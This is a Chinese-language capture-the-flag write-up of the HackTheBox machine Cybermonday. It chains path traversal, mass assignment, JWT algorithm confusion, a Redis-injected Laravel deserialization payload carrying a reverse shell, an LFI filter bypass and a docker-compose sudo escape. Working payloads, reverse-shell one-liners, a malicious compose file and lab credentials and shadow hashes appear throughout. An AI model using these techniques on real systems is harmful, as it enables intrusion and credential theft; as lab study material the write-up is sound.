HackTheBox - Machine - Cybermonday

MANESEC on 2023-10-26

Cybermonday
0x1 信息收集

nmap只有 80 和 SSH 端口,其他的沒什麽。

bash
python3 dirsearch.py -u http://cybermonday.htb/ -w  ~/SecLists/Discovery/Web-Content/quickhits.txt -e php,html,txt   

[21:35:21] Starting: 
[21:35:35] 200 -  603B  - /.htaccess                                
[21:36:51] 302 -  358B  - /api/user  ->  http://cybermonday.htb/login   
[21:36:56] 404 -  555B  - /assets/js/fckeditor                      
[21:36:56] 404 -  555B  - /assets/fckeditor                         
[21:36:56] 404 -  555B  - /assets/npm-debug.log
[21:38:43] 200 -    6KB - /login 

config
# /.htaccess


    
        Options -MultiViews -Indexes
    

    RewriteEngine On

    # Handle Authorization Header
    RewriteCond %{HTTP:Authorization} .
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

    # Redirect Trailing Slashes If Not A Folder...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} (.+)/$
    RewriteRule ^ %1 [L,R=301]

    # Send Requests To Front Controller...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]

0x2 一個奇怪的發現
機器不給掃描

,但是發現了一些細節,在我嘗試强行讓他404的時候,

http://cybermonday.htb/assets/xxx

http://cybermonday.htb/dashboard/xxx

的結果不一樣,所以猜測

assets

可能做了一些反向代理的事情。如果

assets

有反向代理的話,那麽可以嘗試做

Path traversal

儅訪問

http://cybermonday.htb/assets../.git/

出現403,證明是有東西的,

http://cybermonday.htb/assets../.git/HEAD

返回文件,可以用git dumper之類的工具把他dump下來,然後得到源碼。

bash
$ python3 /Tools/Tools/Gitdumper/git_dumper.py 'http://cybermonday.htb/assets../.git/' source                                                                                                                                
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]                                                                                                                                                                    
[-] Testing http://cybermonday.htb/assets../.git/ [403]                                                                                                                                                                        
[-] Fetching common files                                                                                    
...

目錄裏面發現有

.env.example

,猜測

.env

可能存在服務器上,嘗試

curl http://cybermonday.htb/assets../.env

bashenv
APP_NAME=CyberMonday                                  
APP_ENV=local   
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=                                                    
APP_DEBUG=true            
APP_URL=http://cybermonday.htb                        
                                                      
LOG_CHANNEL=stack                                     
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug   
                                                      
DB_CONNECTION=mysql   
DB_HOST=db                                            
DB_PORT=3306                        
DB_DATABASE=cybermonday                               
DB_USERNAME=root                                      
DB_PASSWORD=root                 
                                                      
BROADCAST_DRIVER=log                                  
CACHE_DRIVER=file              
FILESYSTEM_DISK=local                                 
QUEUE_CONNECTION=sync                              
SESSION_DRIVER=redis                                                                                           
SESSION_LIFETIME=120  
MEMCACHED_HOST=127.0.0.1                              
                                                      
REDIS_HOST=redis          
REDIS_PASSWORD=                                       
REDIS_PORT=6379   
REDIS_PREFIX=laravel_session:                                                                                  
CACHE_PREFIX=             
                                                      
MAIL_MAILER=smtp                                      
MAIL_HOST=mailhog                                     
MAIL_PORT=1025             
MAIL_USERNAME=null
MAIL_PASSWORD=null                                    
MAIL_ENCRYPTION=null  
MAIL_FROM_ADDRESS="hello@example.com"                 
MAIL_FROM_NAME="${APP_NAME}"        
                                                      
AWS_ACCESS_KEY_ID=                                    
AWS_SECRET_ACCESS_KEY=           
AWS_DEFAULT_REGION=us-east-1                          
AWS_BUCKET=                                           
AWS_USE_PATH_STYLE_ENDPOINT=false
                                                      
PUSHER_APP_ID=                                     
PUSHER_APP_KEY=                                                                                                
PUSHER_APP_SECRET=                                                                                             
PUSHER_APP_CLUSTER=mt1                                                                                         
                                                      
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"                
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
                                                      
CHANGELOG_PATH="/mnt/changelog.txt"
                                                                                                               
REDIS_BLACKLIST=flushall,flushdb                      

得到

APP_KEY

和一個

redis

,這裏猜測

redis

是做cookie管理,然後還有一個後面值得探索的

CHANGELOG_PATH

目錄。

源碼看起來沒有什麽特別的地方。

0x3 修改密碼的地方好像有點奇怪

隨便注冊一個用戶密碼,然後修改密碼,用戶名填

admin

郵箱填

admin@cybermonday.htb

,點擊提交之後會報錯,觀察這個報錯,是一個

Laravel Error Tracking

平臺,

image

仔細觀察是説SQL出現錯誤,

error
update
  `users`
set
  `username` = admin,
  `email` = admin@cybermonday.htb,
  `password` = $ 2y $ 10 $ 2GD8HBeFKTkeFL7KJMVXL1zxWTS1KAT3fACcv3PgTerKwmg8BUrvn,
  `users`.`updated_at` = 2023 -00 -00 00: 00: 00
where
  `id` = 2

下面的 CONTEXT 寫著:

config
{
    "id": 2,
    "username": "xxxx",
    "email": "xxxx@xxxx.com",
    "isAdmin": true,
    "created_at": "2023-00-00T00:00:00.000000Z",
    "updated_at": "2023-00-00T00:00:00.000000Z"
}

看起來是從數據庫裏面讀取出來的,也就是說數據庫裏面有一個

isAdmin

,所以嘗試用burp截取提交表單,在post後面加上

&isAdmin=1

bash
POST /home/update HTTP/1.1
Host: cybermonday.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://cybermonday.htb
Connection: close
Referer: http://cybermonday.htb/home/profile
Cookie: xxxxxxxxxxxxxxxxxxx
Upgrade-Insecure-Requests: 1

_token=Tfvb4BLkexNuSAz6Syi4UwEQV9tPcu8jk5y85wiL&username=xxx&email=xxx%xxx.com&password=xxx&password_confirmation=xxx&isAdmin=1

然後就獲得了管理權限,上面出現了

Dashboard

另外,登陸完了之後看了一下cookie,有一個

cybermonday_session

的東西,好像是

laravel

的加密cookie。

0x4 發現 webhook

來到

http://cybermonday.htb/dashboard/changelog

,也就是點擊

Dashboard

->

Changelog

裏面,發現有webhook,

image

點擊之後,來到了一個域名

http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77

隨便在瀏覽器亂打

http://webhooks-api-beta.cybermonday.htb/aaa.php

發現是php的一個服務器。

image

對這個域名進行掃描,發現兩個文件,

bash
[05:00:00] 200 -  602B  - /.htaccess                                 
[05:00:00] 200 -  447B  - /jwks.json

查看

jwks.json

json
{
	"keys": [
		{
			"kty": "RSA",
			"use": "sig",
			"alg": "RS256",
			"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
			"e": "AQAB"
		}
	]
}

然後查看根,列出了一堆API。

json
// curl http://webhooks-api-beta.cybermonday.htb

{
  "status": "success",                                                                                                                                                                                                     [0/1166]
  "message": {  
    "routes": {     
      "/auth/register": {                             
        "method": "POST",           
        "params": [                         
          "username",                                 
          "password"             
        ]                                             
      },                                              
      "/auth/login": {        
        "method": "POST",             
        "params": [                                                                                                                                                                                                              
          "username",   
          "password"                                  
        ]                             
      },                                       
      "/webhooks": {                                                                                                                                                                                                             
        "method": "GET"                                                                                                                                                                                                          
      },                                              
      "/webhooks/create": { 
        "method": "POST",             
        "params": [                                 
          "name",                                                                                              
          "description",                                                                                       
          "action"                                                                                             
        ]
      },            
      "/webhooks/delete:uuid": {
        "method": "DELETE"
      },               
      "/webhooks/:uuid": {
        "method": "POST",
        "actions": { 
          "sendRequest": {
            "params": [
              "url",
              "method"
            ]          
          },     
          "createLogFile": {
            "params": [
              "log_name",
              "log_content"
            ]     
          }          
        }
      }                  
    }                  
  }              
}  

然後嘗試玩一下這個webhook,

/webhooks/create

對這個比較感興趣。

  • 嘗試

    POST /webhooks/create

    ,返回

    {"status":"error","message":"Unauthorized"}

  • 隨便注冊一個賬號:

    POST /auth/register

    ,返回

    {"status":"success","message":"success"}

  • 登錄:

    POST /auth/login

    ,返回

    {"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g"}}

    ,在發現token有三個點,是JWT格式。

  • 現在

    POST /webhooks/create

    ,返回

    {"status":"error","message":"Unauthorized"}

    看起來沒有權限創建一個

    webhooks

0x5 嘗試繞過JWT

思考了很久,有些不是很合理的地方,比如

jwks.json

這個敏感的文件就不應該會出現,如果逆向思考的話作者可能想希望我們利用這幾個文件而做一些事情,思考了一下,會不會是修改 jwt 的算法了。

通過這個網站

https://jwt.io/

發現上面的JWT如下

bash
# Encoded
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g

# Header
{
  "typ": "JWT",
  "alg": "RS256"
}

# Payload 
{
  "id": 2,
  "username": "m",
  "role": "user"
}

最初的想法是更改 role 變成 admin,因爲RS256算法需要 private key 和 public key,然而並不知道private key。但是可以嘗試修改成HS256,如果服務器接受HS256算法的話,那麽只需要 public key 就可以簽名了。

然後谷歌搜索了下,搜索關於JWT的n和e是什麽,看到了這篇文章:

https://datatracker.ietf.org/doc/html/rfc7518#section-6.3.1.2

https://stackoverflow.com/questions/70022898/what-does-e-aqab-mean-in-jwks

現在知道n是Public key,所以現在想辦法得到public key,就要寫程序,呃,因爲不怎麽會寫,隨手問了一下 ChatGPT,結果秒出。。。。

image

python
from Crypto.PublicKey import RSA
import json
from base64 import urlsafe_b64decode

def get_public_key():
    with open('jwks.json') as file:
        data = json.load(file)
      
        # Assuming there is only one key in the 'keys' array
        key = data['keys'][0]
      
        modulus = int.from_bytes(urlsafe_b64decode(key['n'] + '=='), 'big')
        exponent = int.from_bytes(urlsafe_b64decode(key['e'] + '=='), 'big')
      
        # Construct the RSA public key
        public_key = RSA.construct((modulus, exponent))
      
        return public_key

# Usage example
public_key = get_public_key()
print(public_key.export_key().decode())

得到Public Key

image

0x6 使用burp注入JWT

Burp安裝

JWT Editor

JSON Web Tokens

這兩個插件,然後

首先要把上面的public key encode 一下,得到

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

然後修改

K

裏面的内容,貼上去。

image

json
{
    "kty": "oct",
    "kid": "d7aed87f-932a-417e-957b-30fc13722f6a",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

不需要在網頁簽名,可以直接使用burp簽名,然後直接修改包就可以了。

image

image

image

0x7 WebHook 主動請求,思考下一步
image

這裏的WebHook可以主動發起請求,和枚舉了一段時間,沒有發現什麽有意思的内容。

然後想到了一個思路,Redis作爲Laravel的cookie緩存容器,Laravel會主動請求Redis(因爲請求是固定寫好的是,所以沒辦法exploit),但是儅Redis返回内容是惡意的情況下,儅Laravel會主動deserialization裏面的内容就可以執行reverse shell,也就是説如果我可以控制 Redis 返回的内容,我就有機會在Laravel deserialization的時候執行reverse shell。

很巧的是Redis有提供REST的API,通過RestAPI 嘗試修改當前的cookie,把他換成惡意的cookie,

image

0x8 準備 payload

SET可以工作,剩下的就是準備payload了。

製作 deserialization 的php payload可以使用phpggc,看了一下, RCE10 是最好的(因爲 __toString ,比較適合現在的環境)。

image

所以希望可以在php上執行 system("/bin/bash xxxx") 的函數,所以下面就製作payload

bash
./phpggc Laravel/RCE10 SYSTEM '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"'
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"SYSTEM";s:8:"provider";s:61:"/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"";}i:1;s:4:"user";}}

用這個工具可以方便處理特殊符號,

https://onlinestringtools.com/escape-string

0x9 想辦法在 Redis 中尋找當前的key,以便注入,得到webshell

因爲要注入當前的cookie,在谷歌的過程中發現了神奇的内容原來laravel是可以通過APP_KEY 解密。

參考:

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel

image

然後就得到了

25c6a7ecd50b519b7758877cdc95726f29500d4c

6AGr0idR2a6TzouAfXs6hq7HOopPx0lkCS44SHRf

比較像key的值。

在上面的 .env 文件中,有這樣定義的。

json
REDIS_HOST=redis        
REDIS_PASSWORD=                                     
REDIS_PORT=6379   
REDIS_PREFIX=laravel_session:                                                                                
CACHE_PREFIX=   

所以完整的請求應該像這樣:

bash
SET "laravel_session:<KEY>" "<REVERSHELL_PAYLOAD>"

因爲上面有兩個Key,所以發2遍看看效果。

然後測試了很久,都沒有反應,本地debug了下,在 payload 後加入

\r\n

就好了。

image

然後刷新一下網頁,laravel去數據庫獲取cookie的時候就會執行webshell。

看到

/mnt

下面挂在了john的 home

image

0xA (nginx server) 搜索可用的信息,找到webhook源碼,利用它得到LFI,拿到user的賬號密碼。

以下是LinPEAS發現的信息:

bash
╔══════════╣ Hostname, hosts and DNS
070370e2cdc4
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.4      070370e2cdc4
nameserver 127.0.0.11
options ndots:0

╔══════════╣ Interesting Files Mounted
/dev/sda1 on /mnt type ext4 (ro,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)

nmap無法使用,可以使用reverse socks 然後套nmap,這裏我就快速使用Bash自製脚本快速掃描一下,所以猜測如下。

bash
[+] 172.18.0.1: 22 open     - hosts
[+] 172.18.0.2: 80 open     - nginx server
[+] 172.18.0.3: 80 open     - webhook
[+] 172.18.0.4: 9000 open   - Unknow
[+] 172.18.0.5: 5000 open   - Docker Registry
[+] 172.18.0.6: 6379 open   - redis
[+] 172.18.0.7: 3306 open   - mysql

看到了有 Docker Registry,隨手一個curl看看,

bash
# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2                  
<a href="/v2/">Moved Permanently</a>.

# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2/_catalog
{"repositories":["cybermonday_api"]}

發現這個 docker registry 居然有容器,所以使用Docker Registry Grabber下載所有tar壓縮包。

bash
$ proxychains -f ./proxychains.conf python3 /Tools/Tools/DockerRegistryGrabber/drg.py http://172.18.0.5 --dump_all
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+]======================================================[+]
[|]    Docker Registry Grabber v1       @SyzikSecu       [|]
[+]======================================================[+]

[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
    [+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
...


$ ls cybermonday_api
1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz  9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz  a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz  affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz  beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz  ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz  ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz  dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz

然後找到webhook源碼。

在搜索的過程中發現有很多

.wh..wh..opq

的文件,查了下原來還有奇怪的知識。

  • Branch: 就是各个要被 union 起来的目录

    • Branch 根据被 union 的顺序形成一个 stack,一般来说最上面的是可写的,下面的都是只读的

    • Branch 的 stack 可以在被 mount 后进行修改,比如:修改顺序,加入新的 branch,或是删除其中的 branch,或是直接修改 branch 的权限

  • 如果 UnionFS 中的某个目录被删除了,那么就应该不可见了,就算是在底层的 branch 中还有这个目录,那也应该不可见了

    • Whiteout: 某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件,也用于阻止 readdir 进入低层分支

      • 在隐藏低层档的情况下,whiteout 的名字是

        .wh.&lt;filename&gt;
    • Opaque: 不允许任何下层的某个目录显示出来。

      • 在阻止 readdir 的情况下,名字是

        .wh..wh..opq

        或者

        .wh.__dir_opaque

https://klose911.github.io/html/docker/infrastructure.html

然後看到有讀取日志的代碼,有些API剛才沒用到,看了一下這裏好像有漏洞

image

然後隨便寫了一個php代碼本地測試繞過情況。

php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>

<html>
<body>

<form action="index.php" method="post">
Input: <input type="text" name="name"><br>
<input type="submit">
</form>

</body>
</html>


<?php
    if (isset($_POST["name"])) {
        $name=$_POST["name"];
        $logPath = "/tmp/";

        $logName = $name;

        if(preg_match("/\.\.\//", $logName))
        {
            echo ("Hit one, have ../ : ".$logPath.$logName);
        }

        $logName = str_replace(' ', '', $logName);

        if(stripos($logName, "log") === false)
        {
            echo ("Hit Two, no end with log: ".$logPath.$logName);
        }

        if(!file_exists($logPath.$logName))
        {
            echo ("Hit Three,  no exist ".$logPath.$logName);
        }

        $logContent = ($logPath.$logName);
        echo "\n";
        echo $logContent;
        echo "\n";
        echo "\n";
        echo file_get_contents($logContent);
    }
?>

這個地方我思考了很久(2天,其實很簡單的問題,老了),原來繞過第一個可以使用

. ./. ./. ./. ./. ./. ./

,第二個可以使用

. ./. ./. ./. ./. ./var/log/. ./. ./

然後就可以

. ./. ./. ./. ./. ./var/log/. ./. ./proc/self/environ

讀取環境變量。

image

新建一個webhook,讀取id,然後等等,爲什麽

GET /

沒有列出來。

要使用這個漏洞,從這裏追進去,

image

然後發現使用API的authorized,硬編碼的

image

image

然後使用這個KEY,

image

利用上面的漏洞,就可以把環境變量給解壓出來。

image

然後john的密碼就在

proc/self/environ

裏面

bash
HOSTNAME=e1862f4e1242\
PHP_INI_DIR=\/usr\/local\/etc\/php\
HOME=\/root\
PHP_LDFLAGS=-Wl,-O1 -pie\
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\
DBPASS=<這裏是密碼> \
PHP_VERSION=8.2.7\
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\
PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\
PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\
DBHOST=db\
DBUSER=dbuser\
PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\
DBNAME=webhooks_api\
PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\
PWD=\/var\/www\/html\
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\

這裏是賬號密碼

bash
USER: john
PASS: ngFfX2L71Nu

0xB Enumeration USER 拿到 root.txt

登錄ssh之後,隨便sudo -l 看看,

bash
john@cybermonday:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml

然後看這個文件裏面有什麽?

python
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)

        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

然後想到了

check_no_symlinks

這個函數,然後

ln -s ~/Tools /Tools

,用 python3 試一下之後,發現有奇怪的東西

image

寫了個

exp.xml

yaml
version: "3"
services:
 server:
   image: cybermonday_api
   command: sh -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.19/1111 0>&1"'
   volumes: 
     - /home/john/root/root:/home/john:ro

然後:

image

這樣就拿到了

root.txt

目前,暫時還沒想到如何拿到root的shell。

題外話:
image

如果這裏少了HS256,那麽就不會工作。

bash
root@d212ff9ac6c1:/home/john# cat shadow
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
daemon:*:19506:0:99999:7:::
bin:*:19506:0:99999:7:::
sys:*:19506:0:99999:7:::
sync:*:19506:0:99999:7:::
games:*:19506:0:99999:7:::
man:*:19506:0:99999:7:::
lp:*:19506:0:99999:7:::
mail:*:19506:0:99999:7:::
news:*:19506:0:99999:7:::
uucp:*:19506:0:99999:7:::
proxy:*:19506:0:99999:7:::
www-data:*:19506:0:99999:7:::
backup:*:19506:0:99999:7:::
list:*:19506:0:99999:7:::
irc:*:19506:0:99999:7:::
gnats:*:19506:0:99999:7:::
nobody:*:19506:0:99999:7:::
_apt:*:19506:0:99999:7:::
systemd-network:*:19506:0:99999:7:::
systemd-resolve:*:19506:0:99999:7:::
messagebus:*:19506:0:99999:7:::
systemd-timesync:*:19506:0:99999:7:::
sshd:*:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::
systemd-coredump:!*:19506::::::
_laurel:!:19572::::::

最後
image

Copyright © 2016-2025 manesec. All rights (include theme) reserved.